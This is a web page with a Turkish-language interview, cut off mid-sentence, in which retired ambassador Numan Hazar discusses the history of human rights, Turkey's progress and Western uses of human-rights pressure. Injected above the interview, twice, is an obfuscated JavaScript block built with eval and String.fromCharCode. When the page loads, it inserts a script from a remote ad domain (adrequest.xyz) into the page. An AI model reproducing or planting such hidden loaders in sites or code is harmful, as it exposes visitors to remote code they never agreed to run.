var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); (E) Büyükelçi Numan Hazar ile İnsan Hakları ve Diplomasi üzerine konuştuk. ~ Konuştuk var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Numan hazar İnsan Hakları

(E) Büyükelçi Numan Hazar ile İnsan Hakları ve Diplomasi üzerine konuştuk.

Emekli Büyükelçi Numan Hazar ile İnsani Diplomasi, İnsan Hakları ve Kadın Hakları gibi konular üzerine konuştuk. Numan Hazar, 1966 yılında Ankara Üniversitesi Siyasal Bilgiler Fakültesi’nden mezun olduktan sonra Dışişleri Bakanlığı’nda çalışmaya başladı. Nijerya büyükelçiliği (1995-1998), Dışişleri Bakanlığı müşavirliği (1998-2000), İkili Siyasi İşler Genel Müdürlüğü (2000- 2001), Avrupa Konseyi Daimi Temsilciliği (2001-2004) ve UNESCO Daimi Temsilciliği (2004-2006) gibi önemli görevlerde bulundu. Dışişleri Bakanlığı Müşavirliği, Milli Savunma Bakanlığı dış politika danışmanlığı görevlerinden sonra 2009-2010 yıllarında da Dışişleri Bakanlığı Teftiş Kurulu üyeliği görevini yürüttü. Hazar, 2010 yılında emekli oldu.


Onur Ünal: İnsan haklarından bahsedeceğiz efendim, hem giriş mahiyetinde hem de kapsamı biraz geniş bir soru ilk sorumuz. İnsan haklarının öyle çok genişleyen bir tanımı var ki artık azınlık hakları, kadın hakları, demokrasi açığı, çevre yaklaşımları gibi birçok başlık burada değerlendirilmeye başlandı ki bu da biraz konuyu nesneleştiriyor zaman zaman. Tüm bunlar adına temel olarak nasıl bir yaklaşım sergilenmeli? Ve bu bağlamda dünyada her yıl çeşitli kuruluşlar tarafından inşan haklarına dair indeksler yayınlanıyor. Bunların değerlendirme kriterlerini, objektiflik kapasitesini ve yansımalarını değerlendirebilir misiniz? Yani hepimiz aynı insan haklarından mı bahsediyoruz?

Numan Hazar: Genel olarak öncelikle şunu belirtmek istiyorum; insan hakları kavramı yüzyıllar süren bir süreç içerisinde gerçekleşmiş bir kavramdır. Bu, konuşmamızın seyri ve kavramın anlam yükü açısından önemli bir nokta. Yani çok kısa bir zaman diliminde ortaya çıkmış ve gelişmiş bir unsur değil. Aslında bu Türkiye açısından da böyledir, bugün geldiğimiz noktada bundan on – on beş sene önce söyleyemeyeceğiniz şeyleri bugün rahatça söyleyebiliyorsunuz.

Sözünü ettiğimiz kavramın yolculuğu Avrupa’da başlamıştır. Ama burada hemen şunu belirtmek gerekiyor ki, insan hakları yaklaşımının dinle hiçbir ilgisi yok. Yani özellikle Arap coğrafyasında böyle bir düşünce var. Hiç alakalı olmamasına rağmen, sanıyorlar ki insan hakları denen kavram Hristiyanlıktan olma bir kavram. Hâlbuki tamamen Rönesans, Reform, Aydınlanma Süreci ve Fransız Devrimi denen tarihin bir ürünüdür insan hakları. Yani konuya doğru yaklaşabilmemiz için dini bu işte ayrı tutmak lazım. Yaradan dolayısıyla hem Hristiyanlık hem Müslümanlık hem Yahudilik ve diğer dinlerin tabii olarak insana değer veren yaklaşımları mevcut. Ama bugünkü anlam yüküyle ve siyasi terminoloji itibariyle kavramın dinle ilgisi yok. Dolayısıyla sanılanın aksine Hristiyanlıkla da ilgisi yok. Yani bunu en baştan bilmeliyiz. Özellikle Arap ülkelerinde ben bunu gözlemledim, “insan hakları ve demokrasi gibi kavramlar Hristiyanlıktan gelen kavramlardır, bizimle ilgisi yoktur, bizde zaten bunlar İslam’da var” gibi düşünceleri mevcut. Bir defa bu hususu baştan kabul etmek gerek. Yani insan haklarının -Hristiyanlık dâhil- hiçbir dinle ilgisi yoktur ve ayrı düşünülmesi gereken bir kavramdır. Bunu kavramın temelini anlayabilmek için bir giriş olarak ifade edelim. Diğer yandan, insan hakları dediğimiz şey demokrasiyle yakından bağlantılı. Yani demokrasi dediğimiz şey insan hakları olmadan olmuyor, bir bütünlük söz konusu. Aynı zamanda laiklikle de bağlantılı –din vurgusunu özellikle yapmamın sebebi de buydu-. Siz, siyaset çatısı altında dini, demokrasiyi ve insan haklarını bir arada ele alırsanız hata yaparsınız. Bunlar tamamen bağımsız düşünülmesi gereken kavramlar.

Soruyla ilgili bir konuya daha eğilecek olursak; Birinci Dünya Savaşı’ndan önceki dönemde insan hakları kavramından fazla söz edemeyiz. Orada insanların savaştan daha fazla zarar görmemeleri adına ‘insani hukuk’ olarak ifade edebileceğimiz bir çerçeve var. İşte Lahey gibi Cenevre gibi birtakım sözleşmelerle; bazı silahların kullanılmaması, Kızılhaç/Kızılay ve insani yardım amaçlı örgütlerin kurulması adımları var. Birinci Dünya Savaşı sonrasında da çok fazla bir gelişme olduğunu söyleyemeyiz insan hakları bakımından, belki Milletler Cemiyeti’nin çalışmalarında sadece azınlık haklarıyla ilgili noktalar dikkate alınabilir. Esas İkinci Dünya Savaşı’nın ardından gelişiyor kavram olarak, özellikle de Nazilerle tanıştıktan sonra insanlık. Orada fiilen ve planlanmış bir soykırım (jenosit) durumu var çünkü. Ağır bir travmadır bu, peşinden de insan hakları kavramının gelişimini görmekteyiz zaten. Bir kısım tepkiyle de beraber. Tartışılan zeminde insan haklarının temeli; tüm insanların ırk, renk, dil, din, cinsiyet ayrımı gözetilmeksizin doğuştan gelen bir takım vazgeçilemez ve devredilemez haklara sahip oldukları ve tüm insanların bu bağlamda eşit oldukları fikrine dayanmaktaydı. Sonrasında Birleşmiş Milletler İnsan Hakları Evrensel Bildirgesi ile evrensel ve hukuki bir nitelik kazanıyor bu. Burası çok önemli dil, din, cinsiyet ve ırk ayrımı olmaksızın bireylerin insan olarak eşit oldukları fikri insan haklarının temelidir. Aslında daha gerilere gidersek, bu kavramın temeli Amerikan İnsan Hakları Bildirgesi ve Fransız İnsan ve Vatandaş Hakları Bildirgesi ile atılıyor. Fransız Devrimi’nin özelliği insan haklarına evrensel nitelik kazandırmasıdır. Birleşmiş Milletler’in beyannamesi sonrasındaysa sayıları yüzleri geçen çeşitli sözleşmeler yapılıyor. Onun öncesinde ise sadece Lahey ve Cenevre sözleşmeleri var, bir de bugün insan hakları kapsamına giren çalışma hukukuna dair gelişmeler var. Bunlar dışında bugün ifade edilen insan haklarına dair kapsam evrensel düzeyde İkinci Dünya Savaşı sonrasında gelişiyor. Ayrıca bölgesel düzeyde insan hakları bildirgeleri oluyor, Türkiye’nin de dâhil olduğu Avrupa İnsan Hakları Sözleşmesi gibi, Latin Amerika’da, Afrika’da ve diğer bazı bölgelerde bu gibi insan hakları bildirgeleri mevcut.

Konuya giriş mahiyetinde bir diğer husus ise şu; insan hakları konusunda çeşitli sözleşmeler kabul ediliyor uluslararası alanda. İşte soykırıma karşı, azınlık hakları, kadın hakları, çocuk hakları gibi çeşitli kategorilerde sayıları yüzleri geçen uluslararası sözleşmeler. Artık kategorileri tamamladık ve insan haklarının sayımı bitti deniliyor. Peki, o zaman ne yapalım? Bunları koruyalım deniliyor ve insan hakları koruma mekanizmaları kuruluyor. Bu mekanizmalar nedir? İnsan hakları mahkemeleri, Birleşmiş Milletler’de bireysel yahut devletlerin başvurularıyla çalışan çeşitli koruma sistemleri gibi. Böyle bir koruma sistemi geliştiriliyor.

Önemli kategorileri itibariyle burada insan haklarını bir toparlarsak, birincisi yaşama hakkı, ikincisi adil yargılanma hakkı. ‘’Habeas Corpus’’ güvencesi denen ve tutuklanan kişinin kısa sürede yargıç önüne çıkarılması hususu da önemli. Adil yargılanma hakkı dediğimiz şey demokrasi bağlamında anlam kazanıyor. Bunlara yine demokrasi açısından ilave edilebilecek bir diğer başlık; toplanma ve gösteri hakkını da kapsayacak şekilde düşünce özgürlüğü. Yine demokrasi bağlamında tüm düşüncelerin siyasal sistem içerisinde temsil imkânı bulabilmesi, yasakların, yasaklıların olmaması. Tüm bunlar gördüğünüz gibi demokrasinin de temel unsurları.

Şimdi sorunuzun cevabını tüm bu söylediklerim kapsamında değerlendirmek gerek. Tüm bu ifade ettiğim ölçütler uluslararası alanda bir takım örgütler tarafından değerlendiriliyor. Bir ülke bu ölçütlere uyuyor mu uymuyor mu, mesela yaşama hakkına ne kadar saygı gösteriliyor o ülkede gibi. Yahut o ülkede işkence var mı? Mesela bundan yirmi otuz sene evvel Türkiye sistematik işkence yapıyor şeklinde iddialar vardı. Onun üzerine Avrupa Konseyi ve Birleşmiş Milletler’in işkenceye karşı koruma ile bağlantılı olarak Türkiye’ye yönelik denetimleri gerçekleştirildi ve Türkiye de kabul etti tabii. Ve bunu kabul ederek, söz konusu organ ve kuruluşların haber vermeksizin gelip denetim yapma haklarını da tanıdı Türkiye. Bu bakımdan Türkiye o günlere göre artık çok yüksek bir düzeye ulaştı. Uluslararası örgütlerin de kabul ettiği üzere Türkiye artık işkence yapmayan ülke konumuna geldi. Fakat onun dışında, yargı iyi çalışıyor mu, yargı güvencesi var mı gibi bazı demokratik hususları da somut bir takım kıstaslarla ölçüp değerlendiriyorlar. İşte basın özgürlüğü var mı yok mu bir ülkede, bunun değerlendirmesini yapabilmek için somut veriler var bunları inkâr etmemek gerekiyor. Düşünce özgürlüğü kapsamında yine, bir insan her türlü düşüncesini açıkça ifade edebiliyor mu, üniversitede mesela her türlü düşünceler ifade edilebiliyor mu, bunların somut olarak saptanması pek tabii mümkün. O anlamda bu kuruluşların yazdıklarını ve yayınladıklarını büyük ölçüde doğru kabul edilebilir buluyorum.

Ünal: Türkiye’nin insan hakları ve insan hakları farkındalığı açısından geride bıraktığı yılların bir değerlendirmesini yapabilir misiniz? Bilhassa kat edilen mesafeyi hem sivil iradenin hem de devlet kademelerinin ön açıcılığı açısından(yeterli/yetersiz) nasıl okuyabiliriz?

Hazar: Biraz önce de söylediğim gibi demokrasi insan hakları gibi kavramlar birbirleriyle bağlantılı kavramlardır. Birisi olmazsa diğeri de olmuyor ve tabi bir devamlılık içerisinde. Türkiye’de insan hakları kavramına da böyle bakmak lazım Osmanlı’dan itibaren. Bir düzen içerisinde Tanzimat Fermanı, Islahat Fermanı, Birinci ve İkinci Meşrutiyet’le süren ve Türkiye Cumhuriyeti’nin kuruluşu ve parlamenter sistemin geçerli olmasıyla devam eden bir takvim var. Ama tabii Cumhuriyetin ilk yıllarında hukuk sistemi bağlamında insan haklarının kusursuz olduğunu söyleyemeyiz. 1923’ten bu yana bunun belli bir şekilde geliştiğini görüyoruz bunu inkâr etmemek lazım. Örneğin Türkiye’de şimdiye kadar uygulanan tüm anayasalar çerçevesinde insan hakları tümüyle sayılmıştır. Bunu şunun için anlatıyorum, devlet insan haklarının korunması açısından bir güvence oluşturuyor. Garanti de veriyor ve vermelidir. Fakat insan haklarının uygulanması anlamında sorunlar oluyor. Tabii bu sadece Türkiye’ye has bir durum değil, her ülkede yaşanabiliyor. Dediğim gibi bu bir evrim meselesi, on yıl, otuz yıl ve hatta yüz yıl sürüyor birçok yerde insan haklarının yerleşmesi. Türkiye de bu evrimi belli ölçüde yaşadı. Bugün daha iyi konuma geldiğini düşünüyorum ben. Yani devletin ve anayasanın verdiği haklar çerçevesinde insanlar artık haklarını arayabilir bir konuma geldiler. Örneğin Türkiye Avrupa İnsan Hakları Mahkemesi’ne bireysel başvuru hakkını tanıdı. Tabii ayrıca Avrupa İnsan Hakları Mahkemesi’nin zorunlu yargı yetkisini de tanıdı. Böylece bireyler, Avrupa İnsan Hakları Sözleşmesi’nin getirdiği, sağladığı çeşitli insan haklarına dair ihlaller olduğunu düşündüğü zaman ve bu hakların ihlali karşısında Türkiye’deki yargı sistemi içerisinde haklarını elde edemediklerine kanaat getirdikleri zaman Avrupa İnsan Hakları Mahkemesi’ne başvurabiliyorlar. Orada da AİHM, Türkiye’deki yargı kararının Avrupa İnsan Hakları Sözleşmesi’ne uygun olup olmadığına karar veriyor. O zaman iki şey yapıyor AİHM; ilk olarak hakları ihlal edilen kişiye tazminat verilmesini istiyor ve öte yandan da Türkiye’ye yargı sistemindeki yanlışlıkları gidermek için yasal düzeltmeler tavsiye ediyor. Başka bir deyişle, ikinci olarak, problem kanunlardan kaynaklıyorsa kanunların düzeltilmesini talep ediyor Türkiye’den. Yani kanunlarını Avrupa İnsan Hakları Sözleşmesi’ne uygun hale getir diyor kısaca. Bu şekilde kademeli bir koruma sistemi var. Bunların kullanım sıklığına baktığımızda ise insanlarımızda vatandaşlarımızda artık bir bilincin ve farkındalığın oluştuğunu görüyoruz.

Ünal: İnsan hakları kavramı sizin de ifade ettiğiniz üzere daha ziyade 20.yy’ın ikinci yarısında büyük gelişim gösteriyor ve belli bir anlam kalıbına oturuyor. Fakat burada da şöyle bir problem ortaya çıkıyor; uluslararası ilişkileri domine eden güçlerin insan haklarına dair değerlendirmeleri ve yaklaşımları, bu değerler sistemi dışında kalan dev1etlerce birer fiziksel – psikolojik baskı unsuru olarak değerlendiriliyor. Hatta insan hakları gündeminin politik şiddeti meşrulaştırma aracı haline geldiği iddiasında bulunuyorlar. Bu noktada “Evrensel İnsan Hakları” değerlendirmesi ne kadar mümkün?

Hazar: Buna iki taraftan bakmak lazım, ilk olarak Batı ülkeleri dediğimiz Avrupa ve Amerika insan hakları normlarının geliştiği ve bu normların en üst düzeye ulaştığı iki kıta. Bunda hiçbir kuşku yok. Demokrasi ve özgürlükler artık en üst düzeye gelmiş durumda söz konusu ülkelerde. Ama bu durum bu ülkelerin insan haklarını ihlal etmediği anlamına gelmiyor. Bu ülkeler tarihte çok ciddi insan hakları ihlallerine sebep olmuşlardır. Sömürgecilik ve köle ticareti gibi. Halen de insan haklarını ihlal ediyorlar. Hem de kendi ülkelerinin içerisinde dahi. İşte Amerika’da yaşayan siyahlara, İspanyol asıllı olanlara ve bazı unsurlara karşı birçok ciddi insan hakları ihlalleri var. Aynı şey Avrupa’da da var, işte islamofobi dediğimiz İslam düşmanlığı, yabancı düşmanlığı, ırkçılık, ayırımcılık, hoşgörüsüzlük gibi olgular var ve bunlar etrafında insan haklarıyla bağdaşmayan davranışlar var. Bu da bir gerçek. Bunu görmek gerek. Ama öte taraftan aynı devletler insan hakları anlamında en üst normları da yakalayabilmiş ülkeler. Demokrasileri gayet güzel işliyor bu anlamda. İkinci olarak ise; bu ülkeler kendi içlerinde bir takım insan hakları ihlallerine neden oldukları gibi ülkelerinin dışında da, Afrika’da, Asya’da da birtakım ihlallere neden olabilmekteler. Yani bu anlamda olayı bütünüyle görmek gerekiyor; bahsettiğimiz batılı ülkeler başka ülkelere karşı insan haklarını bir baskı aracı olarak da kullanıyor bunu kabul etmek lazım. Mesela Amerika Irak’a demokrasi getirmek için gittiğini söylüyor, sonrasında görüyorsunuz keyfi adam öldürmeler, işkence olayları gibi bir sürü ihlaller meydana geliyor. Yani orada batılı anlamda bir 